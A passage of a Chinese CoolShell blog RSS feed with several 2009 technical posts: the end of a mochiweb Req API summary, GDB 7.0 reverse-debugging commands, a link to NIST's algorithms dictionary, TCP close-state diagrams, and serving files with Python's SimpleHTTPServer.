~n&#8221;, [Key, Value])<br />\nend,<br />\nmochiweb_headers:to_list(Headers)).</p>\n<p>10.<span style=\"color: #339966\"><strong>Req:parse_cookie()</strong></span> -&gt; [{string(), string()}].<br />\n解析Cookie</p>\n<p>11.<strong><span style=\"color: #339966\">R</span></strong><span style=\"color: #339966\"><strong><span style=\"color: #339966\">eq:get_cookie_value(Key)</span></strong></span><strong><span style=\"color: #339966\"> </span></strong>-&gt; string().<br />\n类似<span style=\"color: #ffcc00\">Req:get_header_value(Key)</span></p>\n<div><span style=\"font-family: 'Lucida Grande', Verdana, Arial, 'Bitstream Vera Sans', sans-serif\"><span>最近搜了下，发现用mochiweb的挺多的。但自己用的时候发现来不少疑难。以上文档皆由litaocheng总结提供。感谢所带来的帮助。希望这个对国内使用mochiweb的朋友们带来帮助。</span></span></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2111.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"erlang打包独立环境\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2111.html\" class=\"wp_rp_title\">erlang打包独立环境</a></li><li ><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" alt=\"编程语言汽车\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_title\">编程语言汽车</a></li><li ><a href=\"https://coolshell.cn/articles/1313.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"Erlang和Python互通\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1313.html\" class=\"wp_rp_title\">Erlang和Python互通</a></li><li ><a href=\"https://coolshell.cn/articles/1579.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/operating-systems-150x150.jpg\" alt=\"一张关于操作系统的图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1579.html\" class=\"wp_rp_title\">一张关于操作系统的图</a></li><li ><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/sed-superman-150x150.png\" alt=\"sed 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_title\">sed 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/2913.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/1-150x150.png\" alt=\"消费者的消费观\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2913.html\" class=\"wp_rp_title\">消费者的消费观</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1516.html\">mochiweb参数化模型Req相关功能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1516.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>高科技：GDB回溯调试</title>\n\t\t<link>https://coolshell.cn/articles/1502.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1502.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 28 Sep 2009 09:14:08 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Debug]]></category>\n\t\t<category><![CDATA[GDB]]></category>\n\t\t<category><![CDATA[Reversable Debugging]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1502</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>也许大家知道，GDB 版本7.0 (2009年9月release) 会是第一次开始支持Reversable Debugging （回溯调式技术），这是一种可以让...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1502.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1502.html\">高科技：GDB回溯调试</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>也许大家知道，GDB 版本7.0 (2009年9月release) 会是第一次开始支持Reversable Debugging （回溯调式技术），这是一种可以让在debug程序时当我们运行单步调试或是运行到断点时，可以以逆向执行程序的一种技术。（这是GNU的<a href=\"http://www.gnu.org/software/gdb/news/reversible.html\" target=\"_blank\">新闻链接</a>）</p>\n<p>下面是GDB7.0版本所支持的回溯调试的命令，其中包括，continue，step，以及调试方向的设置。</p>\n<li><strong>reverse-continue</strong> (&#8216;rc&#8217;) &#8212; 继续程序运行到断点，但是是逆向运行程序。</li>\n<li><strong>reverse-finish</strong> &#8212; 逆向运行程序直到跳出本层函数。</li>\n<li><strong>reverse-next</strong> (&#8216;rn&#8217;) &#8212; 语句单步向后跟踪程序。</li>\n<li><strong>reverse-nexti</strong> (&#8216;rni&#8217;) &#8212; 指令单步向后一条指令。</li>\n<li><strong>reverse-step</strong> (&#8216;rs&#8217;) &#8212; 向后执行一条语句，单步进入。</li>\n<li><strong>reverse-stepi</strong> &#8212; 向后执行一条指令，单步进入。</li>\n<li><strong>set exec-direction (forward/reverse)</strong> &#8212; 设置程序执行方向，向前或向后。</li>\n<p><span id=\"more-1502\"></span></p>\n<p>在网上查了一下，发现VS2010好像也准备要支持这个东西，微软叫这个东西为“<a href=\"http://blogs.msdn.com/ianhu/archive/2009/05/13/historical-debugging-in-visual-studio-team-system-2010.aspx\" target=\"_blank\">Historical Debugging</a>”。</p>\n<p>这个东西，对于我这个老家伙来说比较新鲜，而且还有点诡异。我有点没跟上这个技术，不知道这个技术主要是用来干什么？对于程序的运行的回滚？这样一来，如果，我某条语句创建了一个线程，或是一个文件，逆向执行回去，莫非它还能把这些程序创建出来的资源回收啦？就算是能回收，要是我的某个程序向网络发了些数据出去，莫非它还能给我再收回来？也许我想得太极端了，不过好像目前对这个技术的原始需求的说明不是很多，所以真不知道这个技术除了很酷，还有什么？也许是我理解错了，希望大家指点一下。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1525.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"GDB 7.0 发布\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1525.html\" class=\"wp_rp_title\">GDB 7.0 发布</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/3643.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"GDB中应该知道的几个调试方法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3643.html\" class=\"wp_rp_title\">GDB中应该知道的几个调试方法</a></li><li ><a href=\"https://coolshell.cn/articles/1719.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg\" alt=\"橡皮鸭程序调试法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1719.html\" class=\"wp_rp_title\">橡皮鸭程序调试法</a></li><li ><a href=\"https://coolshell.cn/articles/1379.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何调试bash脚本\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1379.html\" class=\"wp_rp_title\">如何调试bash脚本</a></li><li ><a href=\"https://coolshell.cn/articles/1242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"23,148,855,308,184,500\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1242.html\" class=\"wp_rp_title\">23,148,855,308,184,500</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1502.html\">高科技：GDB回溯调试</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1502.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>17</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>算法和数据结构词典</title>\n\t\t<link>https://coolshell.cn/articles/1499.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1499.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 28 Sep 2009 03:33:35 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[数据结构]]></category>\n\t\t<category><![CDATA[算法]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1499</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我们知道，在编程的世界里，主要就是两个事，用一定的算法去处理一定的数据。算法可以理解为业务逻辑流程，而数据自然一定是按某种结构来存放，这就是数据结构。我们知道，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1499.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1499.html\">算法和数据结构词典</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我们知道，在编程的世界里，主要就是两个事，用一定的算法去处理一定的数据。算法可以理解为业务逻辑流程，而数据自然一定是按某种结构来存放，这就是数据结构。我们知道，数据结构的修改一定会导致算法的修改，我们也知道，数据结构直接关系到了整个程序的繁简性，高效性。而算法则是关系到数据处理的时间、空间性能，以及日后的扩展和维护。这两个东西是计算机科班出生的人或是需要学习编程的人必需要注意的两件头等大事。</p>\n<p>下面这个网站，由 <a href=\"http://www.itl.nist.gov/div897/\">Software and Systems Division</a>, <a href=\"http://www.itl.nist.gov/\">Information Technology Laboratory</a> 创建。</p>\n<p style=\"text-align: center;\"><a href=\"http://www.itl.nist.gov/div897/sqg/dads/terms.html\" target=\"_blank\"><strong></strong></a><strong><a href=\"http://xlinux.nist.gov/dads/\" target=\"_blank\">http://xlinux.nist.gov/dads/</a></strong><strong> </strong></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" title=\"更多...\" src=\"https://coolshell.cn/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif\" alt=\"\" /></p>\n<p style=\"text-align: left;\"><span id=\"more-1499\"></span></p>\n<p>这是一个关于算法，算法技术，数据结构，系统架构等相关问题的一个词典。其中，算法包括了一些常见的算法，比如： <a href=\"http://xlinux.nist.gov/dads/HTML/ackermann.html\" target=\"_blank\">Ackermann&#8217;s function</a> ，一些算法问题包括了 <a href=\"http://xlinux.nist.gov/dads/HTML/travelingSalesman.html\" target=\"_blank\">traveling salesman</a>（销售员出差问题） and <a href=\"http://xlinux.nist.gov/dads/HTML/byzantine.html\" target=\"_blank\">Byzantine generals</a>（拜占庭将军问题），还有一些关于这些问题，算法的 <a href=\"http://xlinux.nist.gov/dads/termsImpl.html\" target=\"_blank\">实现链表</a> 以及更多的信息。而索引页包括 <a href=\"http://xlinux.nist.gov/dads/termsArea.html\" target=\"_blank\">领域索引</a> 和 <a href=\"http://xlinux.nist.gov/dads/termsType.html\" target=\"_blank\">类型索引</a>.</p>\n<p>希望这个网站对有你用。当然，这个网站是英文的。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"一些有意思的算法代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_title\">一些有意思的算法代码</a></li><li ><a href=\"https://coolshell.cn/articles/4671.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" alt=\"可视化的数据结构和算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4671.html\" class=\"wp_rp_title\">可视化的数据结构和算法</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3933.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"可视化的排序过程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3933.html\" class=\"wp_rp_title\">可视化的排序过程</a></li><li ><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" alt=\"计算机编程简史图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_title\">计算机编程简史图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1499.html\">算法和数据结构词典</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1499.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>TCP网络关闭的状态变换时序图</title>\n\t\t<link>https://coolshell.cn/articles/1484.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1484.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Sun, 27 Sep 2009 08:11:19 +0000</pubDate>\n\t\t\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[TCP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1484</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>TCP共有11个网路状态，其中涉及到关闭的状态有5个。 在我们编写网络相关程序的时候，这5个状态经常出现。因为这5个状态相互关联，相互纠缠，而且状态变化触发都是...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1484.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1484.html\">TCP网络关闭的状态变换时序图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>TCP共有11个网路状态，其中涉及到关闭的状态有5个。</p>\n<p>在我们编写网络相关程序的时候，这5个状态经常出现。因为这5个状态相互关联，相互纠缠，而且状态变化触发都是由应用触发，但是又涉及操作系统和网络，所以正确的理解TCP 在关闭时网络状态变化情况，为我们诊断网络中各种问题，快速定位故障有着非常重要的作用和意义。</p>\n<p style=\"text-align: left;\">下是是根据W.Richard Stevens的《TCP/IP详解》一书的TCP状态转换图。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-6310\" title=\"tcp 状态转换图\" src=\"https://coolshell.cn/wp-content/uploads/2009/09/tcp1.jpg\" alt=\"\" width=\"585\" height=\"826\" /></p>\n<p style=\"text-align: left;\"><span id=\"more-1484\"></span></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-6309\" title=\"tcp 状态转换图 （注释）\" src=\"https://coolshell.cn/wp-content/uploads/2009/09/tcp2.jpg\" alt=\"\" width=\"727\" height=\"746\" /> <img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6308\" title=\"tcp 连接建立关闭图\" src=\"https://coolshell.cn/wp-content/uploads/2009/09/tcp3.jpg\" alt=\"\" width=\"469\" height=\"529\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/09/tcp3.jpg 469w, https://coolshell.cn/wp-content/uploads/2009/09/tcp3-265x300.jpg 265w\" sizes=\"(max-width: 469px) 100vw, 469px\" /> <img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-6307\" title=\"tcp 连接建图\" src=\"https://coolshell.cn/wp-content/uploads/2009/09/tcp3.jpg\" alt=\"\" width=\"469\" height=\"529\" /> <img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-6306\" title=\"tcp 连接关闭图\" src=\"https://coolshell.cn/wp-content/uploads/2009/09/tcp5.jpg\" alt=\"\" width=\"631\" height=\"239\" /></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg\" alt=\"从一次经历谈 TIME_WAIT 的那些事\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22263.html\" class=\"wp_rp_title\">从一次经历谈 TIME_WAIT 的那些事</a></li><li ><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" alt=\"HTTP的前世今生\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_title\">HTTP的前世今生</a></li><li ><a href=\"https://coolshell.cn/articles/11609.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg\" alt=\"TCP 的那些事儿（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11609.html\" class=\"wp_rp_title\">TCP 的那些事儿（下）</a></li><li ><a href=\"https://coolshell.cn/articles/11564.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/05/tin-can-phone-150x150.jpg\" alt=\"TCP 的那些事儿（上）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11564.html\" class=\"wp_rp_title\">TCP 的那些事儿（上）</a></li><li ><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" alt=\"Alan Cox：单向链表中prev指针的妙用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_title\">Alan Cox：单向链表中prev指针的妙用</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1484.html\">TCP网络关闭的状态变换时序图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1484.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>非常简单的Python HTTP服务</title>\n\t\t<link>https://coolshell.cn/articles/1480.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1480.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 27 Sep 2009 03:34:10 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[HTTP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1480</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>如果你急需一个简单的Web Server，但你又不想去下载并安装那些复杂的HTTP服务程序，比如：Apache，ISS等。那么， Python 可能帮助你。使用...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1480.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1480.html\">非常简单的Python HTTP服务</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>如果你急需一个简单的Web Server，但你又不想去下载并安装那些复杂的HTTP服务程序，比如：Apache，ISS等。那么， <a href=\"http://www.python.org/\">Python</a> 可能帮助你。使用Python可以完成一个简单的内建 HTTP 服务器。于是，你可以把你的目录和文件都以HTTP的方式展示出来。佻只需要干一件事情，那就是安装一个Python。</p>\n<p>实际上来说，这是一个可以用来共享文件的非常有用的方式。实现一个微型的HTTP服务程序来说是很简单的事情，在Python下，只需要一个命令行。下面是这个命令行：（假设我们需要共享我们的目录 <tt><span>/home/haoel</span></tt> 而IP地址是192.168.1.1）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ cd /home/haoel\n$ python -m SimpleHTTPServer\n</pre>\n<p><span id=\"more-1480\"></span></p>\n<p>这就行了，而我们的HTTP服务在8000号端口上侦听。你会得到下面的信息：</p>\n<pre>Serving HTTP on 0.0.0.0 port 8000 ...</pre>\n<p>你可以打开你的浏览器（IE或Firefox），然后输入下面的URL：</p>\n<pre>http://192.168.1.1:8000</pre>\n<p>如果你的目录下有一个叫 index.html 的文件名的文件，那么这个文件就会成为一个默认页，如果没有这个文件，那么，目录列表就会显示出来。</p>\n<p>如果你想改变端口号，你可以使用如下的命令：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ python -m SimpleHTTPServer 8080\n</pre>\n<p>如果你只想让这个HTTP服务器服务于本地环境，那么，你需要定制一下你的Python的程序，下面是一个示例：</p>\n<p>[py]<br />\nimport sys<br />\nimport BaseHTTPServer<br />\nfrom SimpleHTTPServer import SimpleHTTPRequestHandler<br />\nHandlerClass = SimpleHTTPRequestHandler<br />\nServerClass  = BaseHTTPServer.HTTPServer<br />\nProtocol     = &quot;HTTP/1.0&quot;</p>\n<p>if sys.argv[1:]:<br />\n    port = int(sys.argv[1])<br />\nelse:<br />\n    port = 8000<br />\nserver_address = (&#8216;127.0.0.1&#8217;, port)</p>\n<p>HandlerClass.protocol_version = Protocol<br />\nhttpd = ServerClass(server_address, HandlerClass)</p>\n<p>sa = httpd.socket.getsockname()<br />\nprint &quot;Serving HTTP on&quot;, sa[0], &quot;port&quot;, sa[1], &quot;&#8230;&quot;<br />\nhttpd.serve_forever()<br />\n[/py]</p>\n<p>注意：所有的这些东西都可以在 Windows 或 <a href=\"http://www.cygwin.com/\">Cygwin</a> 下工作。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a 